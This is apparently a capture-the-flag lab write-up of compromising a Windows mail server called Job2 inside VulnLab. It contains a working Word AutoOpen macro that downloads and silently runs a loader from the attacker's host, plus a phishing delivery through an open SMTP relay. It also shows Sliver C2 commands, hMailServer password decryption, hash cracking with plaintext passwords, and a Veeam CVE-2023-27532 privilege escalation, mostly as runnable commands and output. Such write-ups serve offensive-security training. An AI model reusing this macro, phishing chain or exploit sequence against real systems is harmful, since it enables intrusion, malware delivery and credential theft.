Job2

Machine information

Operating System: Windows 2016

Chain: False (standalone compromise)

Credentials

Username
Password
Method
Scope

Mailserver Administrator

MailAdm1n2023

hMailServer

95C02068FD5D

Decrypt hash

Database for hMailServer

Ferdinand

Franzi123!

Extracted from Database

Local User

✅ Valid Usernames

Ferdinand

🔑 Passwords list

MailAdm1n2023
95C02068FD5D
Franzi123!

Information Gathering

22/tcp   open  ssh           syn-ack ttl 127 OpenSSH for_Windows_8.1 (protocol 2.0)
25/tcp   open  smtp          syn-ack ttl 127 hMailServer smtpd
80/tcp   open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
111/tcp  open  rpcbind       syn-ack ttl 127
135/tcp  open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp  open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
443/tcp  open  ssl/http      syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
445/tcp  open  microsoft-ds? syn-ack ttl 127
1063/tcp open  rpcbind       syn-ack ttl 127
2049/tcp open  rpcbind       syn-ack ttl 127
3389/tcp open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services

Service enumeration

SMTP

The service is vulnerable to Open Relay, which means any unauthenticated user can send emails through it

❯ nmap -p25 -Pn --script smtp-open-relay 10.10.95.231
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 15:34 EDT
Nmap scan report for 10.10.95.231
Host is up (0.16s latency).

PORT   STATE SERVICE
25/tcp open  smtp
|_smtp-open-relay: Server is an open relay (8/16 tests)

HTTPS (www.job2.vl)

Possible Attack Path: If you are interested in this position, please send your CV to hr@job2.vl as a Microsoft Word Document. We look forward to hearing from you!

Initial Access

During the assessment, the tester configured a Sliver server and generated a beacon named http-vulnlabs-4444.exe for use throughout the assessment.

Setting up Macro for MS Word

It was discovered AV Engine running into the system blocking everything. The tester proceeded to use Bypass AV/EDR via DInvoke + Sliver to bypass and obtain a reverse shell.

Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" ( _
    ByVal pCaller As Long, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As Long) As Long

Private Declare PtrSafe Function WinExec Lib "kernel32" ( _
    ByVal lpCmdLine As String, _
    ByVal uCmdShow As Long) As Long

Sub AutoOpen()
    URLDownloadToFileA 0, "http://10.8.5.48/Loader.exe", "C:\Windows\system32\spool\drivers\color\Loader.exe", 0, 0
    WinExec "C:\Windows\system32\spool\drivers\color\Loader.exe", SHOW_HIDE
End Sub

Sending the malicious file via sendemail tool

❯ sendemail -t hr@job2.vl -f john.smith@gmail.com -a pay.doc -u "Subject: Appliction Resume" -s 10.10.89.165 -v
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
  - First line must be received within 60 seconds.
  - End manual input with a CTRL-D on its own line.

May 06 18:25:35 kali sendemail[185144]: Message input complete.
May 06 18:25:35 kali sendemail[185144]: DEBUG => Connecting to 10.10.89.165:25
May 06 18:25:35 kali sendemail[185144]: DEBUG => My IP address is: 10.8.5.48
May 06 18:25:36 kali sendemail[185144]: SUCCESS => Received: 	220 JOB2 ESMTP
May 06 18:25:36 kali sendemail[185144]: INFO => Sending: 	EHLO kali
May 06 18:25:36 kali sendemail[185144]: SUCCESS => Received: 	250-JOB2, 250-SIZE 20480000, 250-AUTH LOGIN, 250 HELP
May 06 18:25:36 kali sendemail[185144]: INFO => Sending: 	MAIL FROM:<john.smith@gmail.com>
May 06 18:25:36 kali sendemail[185144]: SUCCESS => Received: 	250 OK
May 06 18:25:36 kali sendemail[185144]: INFO => Sending: 	RCPT TO:<hr@job2.vl>
May 06 18:25:36 kali sendemail[185144]: SUCCESS => Received: 	250 OK
May 06 18:25:36 kali sendemail[185144]: INFO => Sending: 	DATA
May 06 18:25:36 kali sendemail[185144]: SUCCESS => Received: 	354 OK, send.
May 06 18:25:36 kali sendemail[185144]: INFO => Sending message body
May 06 18:25:36 kali sendemail[185144]: Setting content-type: text/plain
May 06 18:25:36 kali sendemail[185144]: DEBUG => Sending the attachment [pay.doc]
May 06 18:25:38 kali sendemail[185144]: SUCCESS => Received: 	250 Queued (1.484 seconds)
May 06 18:25:38 kali sendemail[185144]: Email was sent successfully!  From: <john.smith@gmail.com> To: <hr@job2.vl> Subject: [Subject: Appliction Resume] Attachment(s): [pay.doc] Server: [10.10.89.165:25]

Lateral movement to Ferdinand

Performing Situational Awarness

sliver (http-vulnlabs-4444) > sa-whoami 

[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:

UserName		SID
====================== ====================================
JOB2\Julian	S-1-5-21-3935782767-3829597994-1046841959-1000


GROUP INFORMATION                                 Type                     SID                                          Attributes               
================================================= ===================== ============================================= ==================================================
JOB2\None                                         Group                    S-1-5-21-3935782767-3829597994-1046841959-513 Mandatory group, Enabled by default, Enabled group, 
Everyone                                          Well-known group         S-1-1-0                                       Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Remote Desktop Users                      Alias                    S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group, 
BUILTIN\Users                                     Alias                    S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\INTERACTIVE                          Well-known group         S-1-5-4                                       Mandatory group, Enabled by default, Enabled group, 
CONSOLE LOGON                                     Well-known group         S-1-2-1                                       Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\Authenticated Users                  Well-known group         S-1-5-11                                      Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\This Organization                    Well-known group         S-1-5-15                                      Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\Local account                        Well-known group         S-1-5-113                                     Mandatory group, Enabled by default, Enabled group, 
LOCAL                                             Well-known group         S-1-2-0                                       Mandatory group, Enabled by default, Enabled group, 
NT AUTHORITY\NTLM Authentication                  Well-known group         S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group, 
Mandatory Label\Medium Mandatory Level            Label                    S-1-16-8192                                   Mandatory group, Enabled by default, Enabled group, 


Privilege Name                Description                                       State                         
============================= ================================================= ===========================
SeChangeNotifyPrivilege       Bypass traverse checking                          Enabled                       
SeIncreaseWorkingSetPrivilege Increase a process working set                    Disabled                      


sliver (http-vulnlabs-4444) >  

Enumerating the security solutions

sliver (http-vulnlabs-4444) > execute -o cmd "/c powershell Get-MPComputerStatus | findstr True"

[*] Output:
AMServiceEnabled                 : True
AntispywareEnabled               : True
AntivirusEnabled                 : True
BehaviorMonitorEnabled           : True
IoavProtectionEnabled            : True
IsVirtualMachine                 : True
NISEnabled                       : True
OnAccessProtectionEnabled        : True
QuickScanOverdue                 : True
RealTimeProtectionEnabled        : True

sliver (http-vulnlabs-4444) >  

Discovering an unusual installed software

sliver (http-vulnlabs-4444) > ls

C:\Progra~2 (25 items, 174 B)
=============================
drwxrwxrwx  AWS SDK for .NET                      <dir>  Wed Apr 12 03:24:57 +0000 2023
drwxrwxrwx  AWS Tools                             <dir>  Wed Apr 12 03:24:57 +0000 2023
drwxrwxrwx  Common Files                          <dir>  Wed May 03 18:47:14 +0000 2023
-rw-rw-rw-  desktop.ini                           174 B  Sat May 08 08:18:31 +0000 2021
drwxrwxrwx  hMailServer                           <dir>  Wed May 03 13:48:57 +0000 2023
drwxrwxrwx  Internet Explorer                     <dir>  Wed Dec 15 04:19:46 +0000 2021
drwxrwxrwx  LINQPad5                              <dir>  Wed May 03 14:05:02 +0000 2023
drwxrwxrwx  Microsoft                             <dir>  Thu Aug 19 06:41:12 +0000 2021
drwxrwxrwx  Microsoft Office                      <dir>  Wed May 03 15:15:38 +0000 2023
drwxrwxrwx  Microsoft OneDrive                    <dir>  Tue May 02 21:20:00 +0000 2023
drwxrwxrwx  Microsoft SQL Server                  <dir>  Wed May 03 18:15:45 +0000 2023
drwxrwxrwx  Microsoft SQL Server Compact Edition  <dir>  Wed May 03 14:08:26 +0000 2023
drwxrwxrwx  Microsoft Synchronization Services    <dir>  Wed May 03 13:49:01 +0000 2023
drwxrwxrwx  Microsoft Visual Studio 14.0          <dir>  Wed May 03 18:11:58 +0000 2023
drwxrwxrwx  Microsoft.NET                         <dir>  Wed May 03 18:15:54 +0000 2023
drwxrwxrwx  MSBuild                               <dir>  Wed May 03 13:43:58 +0000 2023
drwxrwxrwx  Reference Assemblies                  <dir>  Wed May 03 13:43:58 +0000 2023
drwxrwxrwx  Veeam                                 <dir>  Wed May 03 18:47:42 +0000 2023
drwxrwxrwx  Windows Defender                      <dir>  Sat May 08 09:35:34 +0000 2021
drwxrwxrwx  Windows Mail                          <dir>  Wed Mar 15 06:46:55 +0000 2023
drwxrwxrwx  Windows Media Player                  <dir>  Wed Jul 13 08:03:39 +0000 2022
drwxrwxrwx  Windows NT                            <dir>  Sat May 08 09:35:34 +0000 2021
drwxrwxrwx  Windows Photo Viewer                  <dir>  Thu Feb 10 00:28:44 +0000 2022
drwxrwxrwx  Windows Sidebar                       <dir>  Sat May 08 08:34:49 +0000 2021
drwxrwxrwx  WindowsPowerShell                     <dir>  Sat May 08 08:34:49 +0000 2021


sliver (http-vulnlabs-4444) >  
  • LINQPad 5 is a powerful software utility specifically designed for .NET Framework 4.6 development, allowing developers to interactively query SQL databases and write C# code without needing a full IDE.

  • hMailServer is a free, open source, e-mail server for Microsoft Windows. It's used by Internet service providers, companies, governments, schools and enthusiasts in all parts of the world.

  • Veeam is a software company specializing in data protection, backup, and disaster recovery solutions for various workloads, including virtual, physical, cloud-based, and SaaS environments

Discovering a credentials in Julian's Desktop

sliver (http-vulnlabs-4444) > ls

C:\Users\Julian\Desktop (3 items, 2.8 KiB)
==========================================
-r--r--r--  creds.txt      39 B     Wed May 03 15:38:10 +0000 2023
-rw-rw-rw-  desktop.ini    282 B    Wed May 03 16:28:26 +0000 2023
-rw-rw-rw-  Word 2016.lnk  2.5 KiB  Thu May 04 10:43:29 +0000 2023


sliver (http-vulnlabs-4444) > cat creds.txt

Mailserver Administrator: MailAdm1n2023

Credentials found: Mailserver Administrator: MailAdm1n2023

Obtaining the hMailServer configuration file


sliver (http-vulnlabs-4444) > cat hMailServer.INI

[Directories]
ProgramFolder=C:\Program Files (x86)\hMailServer
DatabaseFolder=C:\Program Files (x86)\hMailServer\Database
DataFolder=C:\Program Files (x86)\hMailServer\Data
LogFolder=C:\Program Files (x86)\hMailServer\Logs
TempFolder=C:\Program Files (x86)\hMailServer\Temp
EventFolder=C:\Program Files (x86)\hMailServer\Events
[GUILanguages]
ValidLanguages=english,swedish
[Security]
AdministratorPassword=8a53bc0c0c9733319e5ee28dedce038e
[Database]
Type=MSSQLCE
Username=
Password=4e9989caf04eaa5ef87fd1f853f08b62
PasswordEncryption=1
Port=0
Server=
Database=hMailServer
Internal=1

sliver (http-vulnlabs-4444) >  

Hash found: 4e9989caf04eaa5ef87fd1f853f08b62

Downloading Database file

sliver (http-vulnlabs-4444) > download hMailServer.sdf

[*] Wrote 675840 bytes (1 file successfully, 0 files unsuccessfully) to /home/Intrusionz3r0/Documents/Sliver/hMailServer.sdf

Decrypting database password

sliver (http-vulnlabs-4444) > upload /home/Intrusionz3r0/Documents/Vulnlabs/Job2/Content/hmailserver_password.exe

[*] Wrote file to C:\Temp\hmailserver_password.exe

sliver (http-vulnlabs-4444) > execute -o hmailserver_password.exe dec 4e9989caf04eaa5ef87fd1f853f08b62

[*] Output:
95C02068FD5D

sliver (http-vulnlabs-4444) >  

Password: 95C02068FD5D

Extracting user's hashes from Database

Bruteforcing and obtaining Ferdinand's Password

❯ hashid 04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11
Analyzing '04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11'
[+] hMailServer 


❯ hashcat -m 1421 04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11 /usr/share/wordlists/rockyou.txt

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

04063d4de2e5d06721cfbd7a31390d02d18941d392e86aabe02eda181d9702838baa11:Franzi123!

Ferdinand@job2.vl: Franzi123!

Privilege Escalation to NT Authority Syste

Lateral movement to Ferdinand user

sliver (http-vulnlabs-4444) > make-token --username Ferdinand -p 'Franzi123!' -T LOGON_NETWORK


[*] Successfully impersonated \Ferdinand. Use `rev2self` to revert to your previous token.
sliver (http-vulnlabs-4444) > whoami

Logon ID: JOB2\Julian
[*] Current Token ID: JOB2\Ferdinand
sliver (http-vulnlabs-4444) >  

Obtaining the vulnerable Veeam version

Exploit: CVE-2023-27532

sliver (http-vulnlabs-4444) > execute -o cmd '/c powershell Get-Package | findstr Veeam' 

[*] Output:
Veeam Backup & Replication     10.0.1.4854

Uploading the exploit and dependencies.

sliver (http-vulnlabs-4444) > upload /home/Intrusionz3r0/Documents/Vulnlabs/Job2/Content/VeeamHax.exe

[*] Wrote file to C:\Temp\VeeamHax.exe

sliver (http-vulnlabs-4444) > upload /home/Intrusionz3r0/Documents/Vulnlabs/Job2/Content/Veeam.Backup.Interaction.MountService.dll

[*] Wrote file to C:\Temp\Veeam.Backup.Interaction.MountService.dll

sliver (http-vulnlabs-4444) > upload /home/Intrusionz3r0/Documents/Vulnlabs/Job2/Content/Veeam.Backup.Model.dll

[*] Wrote file to C:\Temp\Veeam.Backup.Model.dll

sliver (http-vulnlabs-4444) > upload /home/Intrusionz3r0/Documents/Vulnlabs/Job2/Content/Veeam.Backup.Common.dll

[*] Wrote file to C:\Temp\Veeam.Backup.Common.dll

Exploit vulnerability to obtain a shell as NT Authority System

sliver (http-vulnlabs-4444) >  execute VeeamHax.exe --target 127.0.0.1 --cmd "C:\Windows\system32\spool\drivers\color\Loader.exe"

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